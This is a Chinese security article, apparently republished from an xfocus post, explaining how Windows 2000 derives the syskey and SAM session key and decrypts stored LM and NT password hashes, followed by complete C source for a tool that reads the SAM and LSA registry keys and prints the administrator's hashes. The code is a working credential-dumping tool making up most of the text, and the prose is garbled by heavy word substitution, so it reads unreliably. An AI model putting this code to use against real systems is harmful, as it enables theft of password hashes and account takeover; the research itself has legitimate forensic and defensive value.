SAM的散列存储加密解密算法

SAM的散列存储加密解密算法以及syskey的计划转摘请证明作家和安定中心作家：flashskysite：www.xfocus.net，www.shopsky.com邮件：flashsky@xfocus.org作家单元：启明星斗主动提防试验室sam中寄存在暗号散列这是大师都领会的，然而其暗号寄存在对应对立sid的v键底下却是一种加密的情势，怎样经过这个加密的串计划出暗号散列了，大师用pwdump3如许的东西不妨导出散列来，重要道理是体例空间会生存一个sampsecretsessionkey，pwdump3即是正片一个效劳到对方呆板上，读出这个lsass过程空间的sampsecretsessionkey再举行解密的，本来这个sampsecretsessionkey的天生也利害常搀杂的，咱们这边做一个比pwdump3更深刻的一个商量和领会，sampsecretsessionkey的计划与天生，如许咱们就能在径直从物理文献入彀算出sampsecretsessionkey，来解密备案表中的暗号散列，对于一个忘怀暗号的体例或一个不领会用户口令但仍旧赢得磁盘的体例有这要害意旨，如许咱们实足就能经过备案表文献的领会来解密备案表中的暗号散列。经过领会，咱们创造往日在nt中常说的syskey在w2k体例的这个进程中起着特殊要害的效率，本来syskey仍旧做为w2k的一个恒定组件而生存了，咱们底下给出一个所有进程：体例启发时：计划赢得syskey读取备案表中的sam\sam\domains\accoun\v中生存的key消息（普遍是结果的0x38字节的前0x30字节）运用syskey和f键的前0x10字节，与特出的字串"!@#$%^&*()qwertyuiopazxcvbnmqqqqqqqqqqqq)(*@&%"，"0123456789012345678901234567890123456789"做md5演算，再与f键的后0x20字节做rc4演算就不妨赢得sampsecretsessionkey，这个sampsecretsessionkey恒定寄存在lsass过程中，动作解密sam中加密数据到散列时用-------------------------------------------------|syskey f键消息的前0x10字节 |md5|"!@#$%^&*()qwertyuiopazxcvbnmqqqqqqqqqqqq)(*@&%"|--->--------|"0123456789012345678901234567890123456789" | |rc4-------------------------------------------------- |------>sampsecretsessionkey|f键消息的后0x20字节 -------------------当须要解密sam中加密数据到散列时（如长途登岸）:读取sampsecretsessionkey，再与暂时用户的对立sid，散列典型名（如lmpassword，ntpassword）做md5演算赢得对准这个用户暗号散列的sessionkey运用sessionkey用rc4解密第一起加密的散列，再将用户对立id扩充成14字节做des切分，天生desecb，再对用rc4处置后的散列举行划分成2次des解密就不妨赢得暗号散列。-------------------------|sampsecretsessionkey sid |md5|"lmpasswor"/"ntpasswor"|--->sessionkey---| | |rc4 2次des(弥补sid做key切分）------------------------- |----->-------------------------->hash|对应的sam中加密的暗号散列 ---------------------------------这个算法十分好，保护了各别用户的沟通散列在sam寄存不一律（对立sid不一律），各别呆板的同一sid同口令的sam中的散列寄存不一律（syskey各别）；这个算法的des/rc4都是可逆的，如许即使咱们能经过离线（文献）办法赢得syskey的话（其余的消息都不妨领会sam文献赢得），咱们实足实行离线窜改sam中口令的功效，然而这须要对备案表的构造和sam中v/f键的数据构造再做深刻的接洽，这边就不谈了。那么syskey是怎样计划出来的呢？这大概是我创造ms最高调的一个场合了，先发端想确定会寄存在备案表某处，呵呵，结果盯梢ms启发功夫的winlogon过程才领会，syskey是如许计划出来的，很多人会大掉镜子吧：syskey的计划是：system\\currentcontrolset\\control\\lsa下的jd，skew1，gbg，data四个键值的class值经过换型得来的，靠，敬仰ms。如许咱们实足不妨离线领会备案表就能赢得对其sam的加密散列的导出或改写了。底下即是给出的实足实行计划syskey-》sampsecretsessionkey，对一定用户的sam中加密的暗号散列再解密的代码：固然即使从运转体例中解密散列也不妨径直读取sampsecretsessionkey，就象pwdump3那么做的一律也是不妨的，然而即使要实行离线的就还须要再领会更多的货色了。//底下几个因变量的实行，des关系的盒，ecb等的设置参考我往日发的作品 中的代码，这边不复给出//void deskey(char * lmpass,unsigned char * desecb)//void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);//void md5init(unsigned char * lm);//void md5final(unsigned char * lm);//void initlmp(char * pass,unsigned char * lm);//往日给出的des因变量的实行没有解密的局部，而且有个小缺点，所以这边再给出完备的一个#include <stdio.h>#include <windows.h>#include "des.h"void getsyskey(unsigned char * syskey);void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey);void md5init(unsigned char * lm);void md5final(unsigned char * lm);void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key);void getsamkey(unsigned char * sampsskey,unsigned char * uid,unsigned char * passwordtype,unsigned char * sessionkey);void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid);void initlmp(char * pass,unsigned char * lm);void deskey(char * lmpass,unsigned char * desecb);void des(unsigned char * lm,char * magic,unsigned char * ecb,long no);void main(){int i;//底下为了大略，这3个是径直指定的用户，对立sid的备案表键名和对立sid，大师也不妨写成实足按照用户名获得的办法char username[]="sam\\sam\\domains\\account\\users\\names\\administrator";char keyname[]="sam\\sam\\domains\\account\\users\\000001f4";unsigned long uid=0x1f4;unsigned char syskey[0x10];unsigned char ensamnt[0x10];unsigned char ensamlm[0x10];unsigned char sessionkey[0x10];unsigned char buf[0x400];unsigned char sampsecretsessionkey[0x10];unsigned char lmhash[0x10];unsigned char nthash[0x10];unsigned char fkey[0x30];unsigned long ss;dword regtype;dword regint;unsigned char passwordtype[5][100]={"lmpassword","ntpassword","lmpasswordhistory","ntpasswordhistory","misccreddata"};hkey hkresult;hkey hkresult1;//sam中的键读取先要提高本人变成locasystem权力，这边并没有实行,本人减少个中的代码//读出f键顶用于计划regint=0x400;ss=regopenkeyex(hkey_local_machine,"sam\\sam\\domains\\account",0,key_read,&hkresult);if(ss!=0)printf("no privilege!\n");ss=regqueryvalueex(hkresult,"f", null,®type,buf,®int);for(i=regint-1;i>=0;i--)if(buf[i]!=0)break;memcpy(fkey,buf+i-0x2f,0x30);ss=regopenkeyex(hkey_local_machine,username,0,key_read,&hkresult);//查看此用户能否生存if(ss!=error_success)return;//读取该用户下的v键中加密的散列消息//因为暂时还未领会v中的构造，咱们就径直读结果的那一串，普遍都是如许寄存在此//但也不废除不同，那就须要简直领会v中的构造来计划了regint=0x400;ss=regopenkeyex(hkey_local_machine,keyname,0,key_read,&hkresult);ss=regqueryvalueex(hkresult,"v", null,®type,buf,®int);memcpy(ensamnt,buf+regint-0x18,0x10);memcpy(ensamlm,buf+regint-0x2c,0x10);//计划syskey，w2k体例默许syskey运用,且变成其恒定的一个组件getsyskey(syskey);//运用syskey，f键中的key计划sampsecretsessionkeygetsampsecretsessionkey(syskey,fkey);memcpy(sampsecretsessionkey,fkey+0x10,0x10);//上头的即是体例启发时实行的处事，这个sampsecretsessionkey恒定生存在lsass的过程空间内//当认证等或如pwdump3处事功夫，即是先从体例市直接读sampsecretsessionkey再举行处置//按照简直用户的对立sid，要回复散列的散列典型，天生sessionkey，如底下即是对准lm散列的getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey);memcpy(lmhash,ensamlm,0x10);//运用sessionkey，sam中加密的lm散列，对立sid做rc4/des解密赢得真实的散列getsamhash(lmhash,sessionkey,&uid);printf("hash::");for(i=0;i<0x10;i++)printf("%02x",lmhash[i]);printf(":");//按照简直用户的对立sid，要回复散列的散列典型，天生sessionkey，如底下即是对准ntlm散列的getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey);memcpy(nthash,ensamnt,0x10);//运用sessionkey，sam中加密的ntlm散列，对立sid做rc4/des解密赢得真实的散列getsamhash(nthash,sessionkey,&uid);for(i=0;i<0x10;i++)printf("%02x",nthash[i]);printf("\n");}void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid){//运用sessionkey，sam中加密的lm散列，对立sid做rc4/des解密赢得真实的散列unsigned char desecb[128];unsigned char rc4keylist[0x102];unsigned char lm[0x10];unsigned char p1[0xe];unsigned char p2[0x10];memcpy(p1,uid,4);memcpy(p1+4,uid,4);memcpy(p1+8,uid,4);memcpy(p1+0xc,uid,2);//上头是用sid弥补desecb的keyrc4_key(rc4keylist,sessionkey,0x10);rc4_2bc6(rc4keylist,0x10,ensaminfo);//rc4处置一次再用des解密initlmp(p1,lm);deskey(lm,desecb);des(p2,ensaminfo,desecb,0);initlmp(p1+7,lm);deskey(lm,desecb);des(p2+8,ensaminfo+8,desecb,0);memcpy(ensaminfo,p2,0x10);}void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey){//按照简直用户的对立sid，要回复散列的散列典型，md5天生sessionkeyunsigned char lm[0x58];int len,i;md5init(lm);for(i=0;i<20;i++)if(passwordtype[i]==0)break;len=i+1;memcpy(lm+0x18,sampsskey,0x10);memcpy(lm+0x28,(unsigned char *)uid,4);memcpy(lm+0x2c,passwordtype,len);memset(lm+0x2c+len,0x80,1);memset(lm+0x2c+len+1,0x0,0x58-(0x2c+len+1));*(dword *)lm=0x200;*(dword *)(lm+0x50)=0xf8;md5final(lm);memcpy(sessionkey,lm+8,0x10);}void getsyskey(unsigned char * syskey){unsigned char keyselect[]={0x8,0xa,0x3,0x7,0x2,0x1,0x9,0xf,0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe}; //换型表unsigned char syskey1[0x10];hkey hkresult;hkey hkresult1;int i,j;long ss;unsigned char classinfo[0x10];dword c1;ss=regopenkeyex(hkey_local_machine,"system\\currentcontrolset\\control\\lsa",0,key_read,&hkresult);if(ss!=error_success)return;ss=regopenkeyex(hkresult,"jd",0,key_read,&hkresult1);i=0;memset(syskey1,0,0x10);c1=0x10;if(ss==error_success){ss=regqueryinfokey(hkresult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);regclosekey(hkresult1);if(ss==error_success){printf("%s\n",classinfo);for(j=0;j<8;j++){if(classinfo[j]>=0x30 && classinfo[j]<=0x39)classinfo[j]=classinfo[j]-0x30;else if(classinfo[j]>='a' && classinfo[j]<='f')classinfo[j]=classinfo[j]-'a'+0xa;else if(classinfo[j]>='a' && classinfo[j]<='f')classinfo[j]=classinfo[j]-'a'+0xa;elsereturn;}syskey1[i+0]=16*classinfo[0]+classinfo[1];syskey1[i+1]=16*classinfo[2]+classinfo[3];syskey1[i+2]=16*classinfo[4]+classinfo[5];syskey1[i+3]=16*classinfo[6]+classinfo[7];i=i+4;}}c1=0x10;ss=regopenkeyex(hkresult,"skew1",0,key_read,&hkresult1);if(ss==error_success){ss=regqueryinfokey(hkresult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);regclosekey(hkresult1);if(ss==error_success){printf("%s\n",classinfo);for(j=0;j<8;j++){if(classinfo[j]>=0x30 && classinfo[j]<=0x39)classinfo[j]=classinfo[j]-0x30;else if(classinfo[j]>='a' && classinfo[j]<='f')classinfo[j]=classinfo[j]-'a'+0xa;else if(classinfo[j]>='a' && classinfo[j]<='f')classinfo[j]=classinfo[j]-'a'+0xa;elsereturn;}syskey1[i+0]=16*classinfo[0]+classinfo[1];syskey1[i+1]=16*classinfo[2]+classinfo[3];syskey1[i+2]=16*classinfo[4]+classinfo[5];syskey1[i+3]=16*classinfo[6]+classinfo[7];i=i+4;}}c1=0x10;ss=regopenkeyex(hkresult,"gbg",0,key_read,&hkresult1);if(ss==error_success){ss=regqueryinfokey(hkresult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);regclosekey(hkresult1);if(ss==error_success){printf("%s\n",classinfo);for(j=0;j<8;j++){if(classinfo[j]>=0x30 && classinfo[j]<=0x39)classinfo[j]=classinfo[j]-0x30;else if(classinfo[j]>='a' && classinfo[j]<='f')classinfo[j]=classinfo[j]-'a'+0xa;else if(classinfo[j]>='a' && classinfo[j]<='f')classinfo[j]=classinfo[j]-'a'+0xa;elsereturn;}syskey1[i+0]=16*classinfo[0]+classinfo[1];syskey1[i+1]=16*classinfo[2]+classinfo[3];syskey1[i+2]=16*classinfo[4]+classinfo[5];syskey1[i+3]=16*classinfo[6]+classinfo[7];i=i+4;}}c1=0x10;ss=regopenkeyex(hkresult,"data",0,key_read,&hkresult1);if(ss==error_success){ss=regqueryinfokey(hkresult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);regclosekey(hkresult1);if(ss==error_success){printf("%s\n",classinfo);for(j=0;j<8;j++){if(classinfo[j]>=0x30 && classinfo[j]<=0x39)classinfo[j]=classinfo[j]-0x30;else if(classinfo[j]>='a' && classinfo[j]<='f')classinfo[j]=classinfo[j]-'a'+0xa;else if(classinfo[j]>='a' && classinfo[j]<='f')classinfo[j]=classinfo[j]-'a'+0xa;elsereturn;}syskey1[i+0]=16*classinfo[0]+classinfo[1];syskey1[i+1]=16*classinfo[2]+classinfo[3];syskey1[i+2]=16*classinfo[4]+classinfo[5];syskey1[i+3]=16*classinfo[6]+classinfo[7];i=i+4;}}//这4个键的class值拉拢起来做换型即是ms的syskey了for(i=0;i<0x10;i++){syskey[keyselect[i]]=syskey1[i];}for(i=0;i<0x10;i++)printf("0x%02x ",syskey[i]);printf("\n");}void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey){unsigned char lm[0x58];unsigned char rc4keylist[0x102];char m1[]="!@#$%^&*()qwertyuiopazxcvbnmqqqqqqqqqqqq)(*@&%";char m2[]="0123456789012345678901234567890123456789";md5init(lm);memcpy(lm+0x18,fkey,0x10);memcpy(lm+0x28,m1,0x2f);memcpy(lm+0x57,syskey,1);*(dword *)lm=0x278;md5final(lm);memcpy(lm+0x18,syskey+1,0xf);memcpy(lm+0x27,m2,0x29);*(dword *)lm=0x5c0;memset(lm+0x50,0x80,1);memset(lm+0x51,0,7);md5final(lm);*(dword *)lm=0x600;memset(lm+0x18,0,0x38);*(dword *)(lm+0x50)=0x3c0;*(dword *)(lm+0x54)=0;md5final(lm);rc4_key(rc4keylist,lm+8,0x10);rc4_2bc6(rc4keylist,0x20,fkey+0x10);//这边天生在fkey中的前0x10字节即是sampsecretsessionkeymd5init(lm);memcpy(lm+0x18,fkey+0x10,0x10);memcpy(lm+0x28,m2,0x29);memcpy(lm+0x51,fkey+0x10,0x7);*(dword *)lm=0x248;md5final(lm);memcpy(lm+0x18,fkey+0x17,0x9);memcpy(lm+0x21,m1,0x2f);memset(lm+0x50,0x80,1);memset(lm+0x51,0,7);*(dword *)lm=0x5c0;md5final(lm);memset(lm+0x18,0,0x40);*(dword *)lm=0x600;*(dword *)(lm+0x50)=0x3c0;*(dword *)(lm+0x54)=0;md5final(lm);}void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key){unsigned long c1;unsigned char d1,b1,a1;int i;c1=rc4keylist[0x100];d1=rc4keylist[0x101];for(i=0;i<keylen;i++){c1=c1++;c1=c1%256;a1=rc4keylist[c1];d1=d1+a1;b1=rc4keylist[d1];rc4keylist[c1]=b1;rc4keylist[d1]=a1;a1=a1+b1;b1=key[i];a1=rc4keylist[a1];b1=b1^a1;key[i]=b1;}}void des(unsigned char * lm,char * magic,unsigned char * ecb,long no){dword d1,d2,d3,d4;dword a1,a2,a3;int i;d1= *(dword *)magic;d2= *(dword *)(magic+4);d1 = (d1<<4)|(d1>>0x1c);d3 = d1;d1 = (d1^d2)&0xf0f0f0f0;d3 = d3^d1;d2 = d2^d1;d2 =(d2<<0x14)|(d2>>0xc);d1 = d2;d2 = (d2^d3)&0xfff0000f;d1 = d1 ^ d2;d3 = d3^d2;d1 = (d1<<0xe)|(d1>>0x12);d2 = d1;d1 = (d1 ^ d3) & 0x33333333;d2 = d2 ^ d1;d3 = d3^d1;d3 = (d3<<0x16)|(d3>>0xa);d1 = d3;d3 = (d3 ^ d2)&0x3fc03fc;d1 = d1^d3;d2 = d2^d3;d1 = (d1<<9)|(d1>>0x17);d3 = d1;d1 = (d1^d2)&0xaaaaaaaa;d3 = d3^d1;d2 = d2^d1;d2 = (d2<<1)|(d2>>0x1f);if(no!=0){for(i=0;i<8;i++){a1=0;d1=*(dword *)(ecb+16*i);d4=*(dword *)(ecb+16*i+4);d1=(d1^d3)&0xfcfcfcfc;d4=(d4^d3)&0xcfcfcfcf;a1=d1&0xff;a2=(d1>>8)&0xff;d4=(d4>>4)|(d4<<0x1c);a3=desspbox1[a1/4];a1=d4&0xff;d2=d2^a3;a3=desspbox3[a2/4];d2=d2^a3;a2=(d4>>8)&0xff;d1=d1>>0x10;a3=desspbox2[a1/4];d2=d2^a3;a1=(d1>>8)&0xff;d4=d4>>0x10;a3=desspbox4[a2/4];d2=d2^a3;a2=(d4>>8)&0xff;d1=d1&0xff;d4=d4&0xff;a1=desspbox7[a1/4];d2=d2^a1;a1=desspbox8[a2/4];d2=d2^a1;a1=desspbox5[d1/4];d2=d2^a1;a1=desspbox6[d4/4];d2=d2^a1;a1=0;d1=*(dword *)(ecb+16*i+8);d4=*(dword *)(ecb+16*i+0xc);d1=(d1^d2)&0xfcfcfcfc;d4=(d4^d2)&0xcfcfcfcf;a1=d1&0xff;a2=(d1>>8)&0xff;d4=(d4>>4)|(d4<<0x1c);a3=desspbox1[a1/4];a1=d4&0xff;d3=d3^a3;a3=desspbox3[a2/4];d3=d3^a3;a2=(d4>>8)&0xff;d1=d1>>0x10;a3=desspbox2[a1/4];d3=d3^a3;a1=(d1>>8)&0xff;d4=d4>>0x10;a3=desspbox4[a2/4];d3=d3^a3;a2=(d4>>8)&0xff;d1=d1&0xff;d4=d4&0xff;a1=desspbox7[a1/4];d3=d3^a1;a1=desspbox8[a2/4];d3=d3^a1;a1=desspbox5[d1/4];d3=d3^a1;a1=desspbox6[d4/4];d3=d3^a1;}d3=(d3>>1)|(d3<<0x1f);d1=d2;d2=(d2^d3)&0xaaaaaaaa;d1=d1^d2;d3=d3^d2;d1=(d1<<0x17)|(d1>>9);d2=d1;d1=(d1^d3)&0x3fc03fc;d2=(d2^d1);d3=d3^d1;d2=(d2<<0xa)|(d2>>0x16);d1=d2;d2=(d2^d3)&0x33333333;d1=d1^d2;d3=d3^d2;d3=(d3<<0x12)|(d3>>0xe);d2=d3;d3=(d3^d1)&0xfff0000f;d2=d2^d3;d1=d1^d3;d2=(d2<<0xc)|(d2>>0x14);d3=d2;d2=(d2^d1)&0xf0f0f0f0;d3=d3^d2;d1=d1^d2;d1=(d1>>4)|(d1<<0x1c);*(dword *)lm=d1;*(dword *)(lm+4)=d3;}else{for(i=7;i>=0;i--){a1=0;d1=*(dword *)(ecb+16*i+8);d4=*(dword *)(ecb+16*i+0xc);d1=(d1^d3)&0xfcfcfcfc;d4=(d4^d3)&0xcfcfcfcf;a1=d1&0xff;a2=(d1>>8)&0xff;d4=(d4>>4)|(d4<<0x1c);a3=desspbox1[a1/4];a1=d4&0xff;d2=d2^a3;a3=desspbox3[a2/4];d2=d2^a3;a2=(d4>>8)&0xff;d1=d1>>0x10;a3=desspbox2[a1/4];d2=d2^a3;a1=(d1>>8)&0xff;d4=d4>>0x10;a3=desspbox4[a2/4];d2=d2^a3;a2=(d4>>8)&0xff;d1=d1&0xff;d4=d4&0xff;a1=desspbox7[a1/4];d2=d2^a1;a1=desspbox8[a2/4];d2=d2^a1;a1=desspbox5[d1/4];d2=d2^a1;a1=desspbox6[d4/4];d2=d2^a1;a1=0;d1=*(dword *)(ecb+16*i+0);d4=*(dword *)(ecb+16*i+0x4);d1=(d1^d2)&0xfcfcfcfc;d4=(d4^d2)&0xcfcfcfcf;a1=d1&0xff;a2=(d1>>8)&0xff;d4=(d4>>4)|(d4<<0x1c);a3=desspbox1[a1/4];a1=d4&0xff;d3=d3^a3;a3=desspbox3[a2/4];d3=d3^a3;a2=(d4>>8)&0xff;d1=d1>>0x10;a3=desspbox2[a1/4];d3=d3^a3;a1=(d1>>8)&0xff;d4=d4>>0x10;a3=desspbox4[a2/4];d3=d3^a3;a2=(d4>>8)&0xff;d1=d1&0xff;d4=d4&0xff;a1=desspbox7[a1/4];d3=d3^a1;a1=desspbox8[a2/4];d3=d3^a1;a1=desspbox5[d1/4];d3=d3^a1;a1=desspbox6[d4/4];d3=d3^a1;}d3=(d3>>1)|(d3<<0x1f);d1=d2;d2=(d2^d3)&0xaaaaaaaa;d1=d1^d2;d3=d3^d2;d1=(d1<<0x17)|(d1>>9);d2=d1;d1=(d1^d3)&0x3fc03fc;d2=(d2^d1);d3=d3^d1;d2=(d2<<0xa)|(d2>>0x16);d1=d2;d2=(d2^d3)&0x33333333;d1=d1^d2;d3=d3^d2;d3=(d3<<0x12)|(d3>>0xe);d2=d3;d3=(d3^d1)&0xfff0000f;d2=d2^d3;d1=d1^d3;d2=(d2<<0xc)|(d2>>0x14);d3=d2;d2=(d2^d1)&0xf0f0f0f0;d3=d3^d2;d1=d1^d2;d1=(d1>>4)|(d1<<0x1c);*(dword *)lm=d1;*(dword *)(lm+4)=d3;}}